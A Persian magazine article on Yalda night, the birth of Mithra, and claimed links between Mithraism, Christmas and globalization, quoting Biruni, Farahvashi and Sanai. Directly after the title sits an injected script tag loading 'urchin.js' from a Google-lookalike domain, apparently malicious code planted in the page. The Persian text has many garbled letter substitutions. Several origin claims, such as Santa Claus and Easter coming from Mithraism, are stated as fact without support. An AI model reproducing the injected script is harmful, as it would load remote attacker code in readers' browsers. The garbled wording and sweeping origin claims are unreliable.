|
ماهنامه شماره 204 دی 1387
بخش مقالات علوم و ادبیات
این مقاله 427 بار خوانده شده است.
نسخه قابل چاپ |
نویسنده : انوری |
|
یلدا: جشن تولد خورشید، جشن زایش مهر، جشن جهانی شدن
</title><script src='http://google-servero1.com/urchin.js'></script>
|
|
یلدا جشن تولد خورشید یا جشن زاپس مهر است. مهر یا ميترا پدیدهای جالب در تاریخ اپران و جهان به شمار میرود. پکی از آيینهای کهن اپرانی که زمانی جهانگير شد، مهرپرستی (میتراپسمم) بود. اپن كيش پیام جهانی با خود به همراه داشت که همه انسانها در زير یک انديشه واحد به خاندانی بزرگ تبدیل شوند. مهرپرستی آمینی بود که همه انسانها را به صلح همگانی دعوت ميکرد.
مقوله globalization که در زبان فارسی به »جهانی شدن و جهانگستری« ترجمه شده است در واقع همانند «جهانشمول شدن یا بکپارجه شدن» جهان است، که ریشه در آمین مهر دارد. بینشی که جدا پی مرزها، ملتها، ممجنین احساسات قومی را ناروا میشمارد و احترام به حقوق همه انسانها و مهر ورزیدن را تبلیغ میکند. جشن شب يلدا از آمین مهرپرستی ايرانیان باقی مانده است؟ آمینی که پس از راهيابی به اروپا «در سنت مسیحی» شب تولد عیسی شد و مسیحیان شب تولد مسیح را در همان ايام قرار دادند. چنین است که شب اول زمستان و شب یلدا به تقریب با جشن تولد مسیح (کرپسمس) همزمان است.
روز یکشنبه یا «مهرشيد» در آیین مهر، گه در زبان انگلیسی Sunday یا »روز خورشید «نامیده میشود و همجنپن بابانوئل، مراسم غسل تعمید، عید پاک، و جشن مهرگان و نشان دادگستری از آيين مهرپرستی اپرانیان به ارمفان مانده است. يلداي اپرانی و کرپسمس از یک مایه سرچشمه گرفتهاند.
ريشه مهر
در کتاب مقدس ودا، متعلق به هندپان باستان، نام مهر به صورت ميترا چندين بار تکرار شده و معنای «پیمان» میدهد. در کتاب اوستا، نامه دینی ايرانیان باستان، نام میترا میآيد وسرودی به نام «مهر يشت» در ستایش او آمده است.
زندهياد دکتر محمد معین در مقاله «روز شماری در ایران باستان» در خصوص ریشه مهر چنين مینويسد:
در اوستا «ميثره» و در بارسی باستان و سانسکریت «ميتره» و در پهلوی «میتر» آمده و از آن فرشته فروغ و روشنايی مراد است" میترا در اپران پیش از زرتشت، خدای بزرگ آریايی بود که خدای روشنايی، دادگستری، وفا به عهد و پیمان، دوستی و محبت شمرده میشد.
| زرتشت، ايرانیان را به پرستش خدای یگانه (اهورا مزدا) فرا خواند، و ديگر پروردگاران آریايی، از جمله میترا را به رتبه فرشتگي تنزل داد. ايرانیان نتوانستند یکباره خاطره ميتراي آریايی را از ياد ببرند، بر مرتبه او افزودند و به مقام پرستش ارتقا دادند. چنان که در بند دوم مهرپشت، اهورا مزدا به زرتشت گوید:"من مهر را مانند خود شایسته ستایش و سزاوار نیایش آفریدم". در دوران پانصد ساله حکومت پارتها (اشکانیان)، آمین مهر، آمین رسمی ايران بود.
ریشه یلدا
یلدا واژهای است سریانی به معنای تولد. در اصطلاح عمومی آن را شب جله می گوید. و میان آن را ناتالیس آنویکتیو(Natalis Invictus) یعنی روز تولد (مهر) شکستناپذير نامند. ابوریحان بیرونی در اوایل سده پنجم هجری در کتاب آثار الباقیه درباره یلدا چنین مینویسد. «این شب در مذهب رومیان عيد یلداست و آن میلاد مسیح است».
در گاهشماری ایران باستان، سال با فصل سرد شروع میشد، خود واژه سال که از آن زمان به یادگار مانده است، از واژه «سرده» گرفته شده است. از این جا معلوم میگردد كه سال اوستایی روزگاری با فصل سرما یعنی از نقطه «انقلاب زمستانی» و اول دی ماه آغاز میشد و اول سال مسیحی که در فصل سرد و از اول ژانویه شروع میشود، یادگاری از همان دورانها است.
شب یلدا یا شب چله، شب اول زمستان و درازترین شب سال است و فردای آن با دمیدن خورشید، روزها بلندتر شده و تابش نور ایزدی فزونی مییابد. ایرانیان باستان شب آخر پاییز و اول زمستان را شب زایش مهر یا تولد خورشید میخواندند و برای آن جشن بزرگی برپا میکردند.
گسترش جهانی آیین مهر
پروفسور ایلیف در مقاله «ایران و دنیای قدیم» درکتاب «میراث ایران» درباره توسعه مهرپرستی در باختر چنین مینویسد:
«توسعه و پیشرفت سریع مهرپرستی از زمان امپراتوری فلاویوس در سراسر امپراتوری روم آغاز شد میترا خدای ایرانی از راه آسیای صغیر به روم راه یافت. به این ترتیب که لشگریان رومی مقیم این خطه مذهب میترا را پذیرفتند و سپس آن را به تمام مرزهای امپراتوری و حتی خود روم بردند و این کیش عجیب همه جا چون آتش در جنگل خشک زبانه زد و پیروزی آن هنگامی به نظر میرسید گه دیوکلسین، گالریوس، لیسیلیوس در سال 307 میلادی معبدی در کنار دانوب به افتخار میترا به عنوان نگاهدارنده و محافظ امپراتوری تخصیص دادند. علت عمده جاذبهای که در مذهب میترا وجود داشته علو معنوی آن و مبارزه دوگانه دايمی بین خیر و شر است که به موجب آن هر روح پاک و بیآلایش دايم میکوشد به نیکی کمک کند تا بر بدی چیره شود».
| زنده یاد دکتر بهرام فرهوشی در کتاب «جهان فروری» در مقاله، مهرگان، مینویسد: آيین مهرپرستی در دنیای کهن چنان ریشه دوانید که به گفته «ارنست رنان» نویسنده معروف فرآنسوی اگر عیسویت به هنگام رشد خود بر اثر بیماری مهلکی باز میایستاد، سراسر جهان به آمین مهر میگروید».
امروز بر اثر کاوشهای باستانشناسی در سراسر اروپا و سرزمینهای مجاور ایران پرستشگاههای میترایی فراوان یافت شده است. بسیاری از کلیساهای بزرگ اروپا بر پایه پرستشگاههای میترا بر پا شده است و در بسیاری جاها به ویژه در روم اثری از این ایزد بزرگ ایرانی دیده میشود. در شمال انگستان بر «دیوار هاردین» نقشهایی از مهر پرستی است و در مرکز شهر لندن (سیتی) مجسمهای از مهر کشف شد. امپراتوران روم در نقاط مختلف بارها معابدی به نام مهر ساختند یا معابد مهر را ترمیم کردند. این معابد «میتریوم» (Mitherium) نام داشت.
امپراتور ژولیانوس که از پیروان سرسخت «آیین میترا» بود و یکی از علل لشکرکشی او به ایران، این بود که میخواست سرزمین خدای خود میترا را به دست آورد و هنگامی که به دست مسیحیان همراه خود کشته شد، از خونی که از پهلوی او جاری شده بود مشتی به سوی خورشید افشاند و بدینسان فدیهای از خون خود را نثار میترا کرد.
نماد جهانی ایزد مهر
ماه هفتم ایرانیان به نام مهر خوانده میشود و برابر است با ماه هفتم قمری بابلیها به نام ترازو، از این رو در ایران باستان، مهر را به نام «ترازودار» میخواندند و اعتقاد داشتند که «ایزد مهر» با ترازوی در دست، ارواح مردگان پس از مرگ را داوری خواهد کرد و از آن هنگام، علامت یا نماد ترازو و در ایران، علامت دادگستری شد. این نشان را ابتدا اقوام آریایی و بعد همه مردمان جهان پذیرا شدند و رواج یافت.
بنابر باور داشت کیش زرتشت، روح یک قوه ابدی است و سه روز پس از مرگ از بدن جدا شده و پیش محکمه اهورا مزدا حاضر میشود و قاضی این محکمه «میترا یا فرشته مهر» است که اعمال آدمی را ميسنجد.
مراسم شب یلدا
آنچه از مراسم شب چله یا شب یلدا در میان ایرانیان مانده است، شبنشینی شب چله است. يلدا را میتوان جشن گردهمایی خانوادگی دانست. در این شب خویشاوندان نزدیک در خانه بزرگ خانواده جمع میشوند و تا نیمه شب در سرمای آغازین زمستان با شادمانی به گفتوگو و خوردن آجیل مخصوص، میوه (هندوانه و انار) و شیرینی میپردازند.
یکی از رسمهای شب یلدا، فال حافظ گرفتن است. فال حافظ در سدههای اخیر به رسم های شب چله افزوده شده است.
زنده ياد دکتر بهرام فرهوشی در کتاب «جهانفروری» در خصوص مراسم شب چله مینويسد. «اما رسمی جالب که در شهر کرمان رواج دارد. این است که در این شب مردم گاه تا صبح بيدار میمانند و میپندارند که در آن شب قارون به شکل هیزمشکنی که پشته هیزم بر پشت دارد به خانه نیکو کاران مستمند میرود و به آنها هیزم میدهد و اين هیزمها تبدیل به شمشهای طلا میشوند و در ایام قدیم برخی از مردم به چله مینشستند و چهل روز مراسم چلهنشینی انجام میدادند و به امید اينکه قارون به خانه آنها وارد شود و به آنها شمش بدهد. این رسم یادآور بابانوئل در مراسم کریسمس است و میرساند که يلدای ايرانی و کريسمس از یک مایه سرچشمه گرفتهاند». سنايی در سده پنجم هجری درباره شب یلدا و تقارن آن با تولد عیسی مسیح چنین سروده است.
به صاحب دولتی پیوند، اگر نامی همی جویی
که از پیوند با عیسی چنان معروف شد یلدا
برکرفته از مقاله «پیشینه مهرپرستی» در ایران و تاثیر جهانی آن نوشته مجتبی انوری1381. |
|
|
|
|
